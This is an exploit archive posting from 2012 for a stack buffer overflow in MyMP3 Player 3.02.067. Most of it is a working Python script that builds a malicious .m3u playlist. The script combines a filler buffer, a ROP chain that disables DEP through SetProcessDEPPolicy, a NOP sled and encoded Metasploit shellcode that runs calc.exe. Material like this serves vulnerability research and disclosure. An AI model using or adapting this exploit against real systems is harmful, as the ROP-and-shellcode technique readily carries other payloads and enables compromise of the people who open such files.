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MyMP3 Player .m3u Stack Buffer Overflow

MyMP3 Player .m3u Stack Buffer Overflow
Posted Jul 22, 2012
Authored by Daniel Romero Perez

MyMP3 Player version 3.02.067 stack buffer overflow exploit that has DEP bypass.

tags | exploit, overflow
MD5 | 46d07e526c8674b046b5a449c9eaefbd

MyMP3 Player .m3u Stack Buffer Overflow

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'''
Title: MyMp3-Player '.m3u' Stack BOF (Bypass DEP)
Author: Daniel Romero Perez (@daniel_rome)
Software & Version: MyMp3-Player 3.02.067
Tested on: Windows XP SP3 - ES
Mail: unlearnsecurity@gmail.com
Blog: unlearningsecurity.blogspot.com
Advisor: http://www.securityfocus.com/bid/38835/info
Article: http://unlearningsecurity.blogspot.com.es/2012/07/bypass-dep-no-permanente-con.html
'''
import os
import struct

# Buffer
Buff = "\x41" * 1024

# ShellCode (ruby msfpayload windows/exec CMD=calc.exe R | ruby msfencode -b '\x0a\x0d\x20\x00' -t c) - 227 bytes
ShellCode = ("\xb8\xf8\x16\x8a\x64\xd9\xe9\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1"
"\x33\x31\x46\x12\x83\xc6\x04\x03\xbe\x18\x68\x91\xc2\xcd\xe5"
"\x5a\x3a\x0e\x96\xd3\xdf\x3f\x84\x80\x94\x12\x18\xc2\xf8\x9e"
"\xd3\x86\xe8\x15\x91\x0e\x1f\x9d\x1c\x69\x2e\x1e\x91\xb5\xfc"
"\xdc\xb3\x49\xfe\x30\x14\x73\x31\x45\x55\xb4\x2f\xa6\x07\x6d"
"\x24\x15\xb8\x1a\x78\xa6\xb9\xcc\xf7\x96\xc1\x69\xc7\x63\x78"
"\x73\x17\xdb\xf7\x3b\x8f\x57\x5f\x9c\xae\xb4\x83\xe0\xf9\xb1"
"\x70\x92\xf8\x13\x49\x5b\xcb\x5b\x06\x62\xe4\x51\x56\xa2\xc2"
"\x89\x2d\xd8\x31\x37\x36\x1b\x48\xe3\xb3\xbe\xea\x60\x63\x1b"
"\x0b\xa4\xf2\xe8\x07\x01\x70\xb6\x0b\x94\x55\xcc\x37\x1d\x58"
"\x03\xbe\x65\x7f\x87\x9b\x3e\x1e\x9e\x41\x90\x1f\xc0\x2d\x4d"
"\xba\x8a\xdf\x9a\xbc\xd0\xb5\x5d\x4c\x6f\xf0\x5e\x4e\x70\x52"
"\x37\x7f\xfb\x3d\x40\x80\x2e\x7a\xbe\xca\x73\x2a\x57\x93\xe1"
"\x6f\x3a\x24\xdc\xb3\x43\xa7\xd5\x4b\xb0\xb7\x9f\x4e\xfc\x7f"
"\x73\x22\x6d\xea\x73\x91\x8e\x3f\x10\x74\x1d\xa3\xf9\x13\xa5"
"\x46\x06")

Nops = "\x90" * 50

##ROP --> Bypass DEP with SetProcessDEPPolicy
ROP = struct.pack('<L',0x77f4c25f) # POP EBX / RET
ROP += struct.pack('<L',0x41414141) # JUNK
ROP += struct.pack('<L',0xFFFFFFFF) # PARAMETER 0x00000000 - 0x1 = 0xFFFFFFFF
ROP += struct.pack('<L',0x7e810b7e) # INC EBX / RET
ROP += struct.pack('<L',0x77f445bf) # POP EBP / RET
ROP += struct.pack('<L',0x7C862144) # <- SetProcessDEPPolicy
ROP += struct.pack('<L',0x77f45493) # POP EDI / RET
ROP += struct.pack('<L',0x77f4108c) # RET
ROP += struct.pack('<L',0x77f4567e) # POP ESI / RET
ROP += struct.pack('<L',0x77f4108c) # RET
ROP += struct.pack('<L',0x58c35ff7) # PUSHAD / RET

# Exploit
exploit = Buff + ROP + Nops + ShellCode

# Create File
file = open("exploit_mymp3-player_BOF.m3u", "wb")
file.write(exploit)
file.close()

print ("Your file has been generated successfully!!")

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